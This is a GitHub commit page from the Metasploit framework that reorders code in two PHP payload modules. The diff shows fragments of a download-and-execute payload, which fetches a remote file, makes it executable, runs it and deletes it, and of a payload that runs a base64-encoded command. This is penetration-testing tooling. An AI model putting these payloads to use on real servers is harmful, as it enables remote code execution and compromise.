Skip to content

Commit ff20cf9

Browse files
committed
Move the preamble above all other code
1 parent 23c2787 commit ff20cf9

File tree

2 files changed

+3
-3
lines changed

2 files changed

+3
-3
lines changed

modules/payloads/singles/php/download_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,7 @@ def php_exec_file
4040
exename = Rex::Text.rand_text_alpha(rand(8) + 4)
4141
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
4242
shell = <<-END_OF_PHP_CODE
43+
#{php_preamble({:disabled_varname => dis})}
4344
if (!function_exists('sys_get_temp_dir')) {
4445
function sys_get_temp_dir() {
4546
if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
@@ -63,7 +64,6 @@ def php_exec_file
6364
fclose($fd_out);
6465
chmod($fname, 0777);
6566
$c = $fname;
66-
#{php_preamble({:disabled_varname => dis})}
6767
#{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})}
6868
@unlink($fname);
6969
END_OF_PHP_CODE

modules/payloads/singles/php/exec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,9 +37,9 @@ def php_exec_cmd
3737
cmd = Rex::Text.encode_base64(datastore['CMD'])
3838
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
3939
shell = <<-END_OF_PHP_CODE
40+
#{php_preamble(disabled_varname: dis)}
4041
$c = base64_decode("#{cmd}");
41-
#{php_preamble({:disabled_varname => dis})}
42-
#{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis})}
42+
#{php_system_block(cmd_varname: "$c", disabled_varname: dis)}
4343
END_OF_PHP_CODE
4444

4545
return Rex::Text.compress(shell)

0 commit comments

Comments
 (0)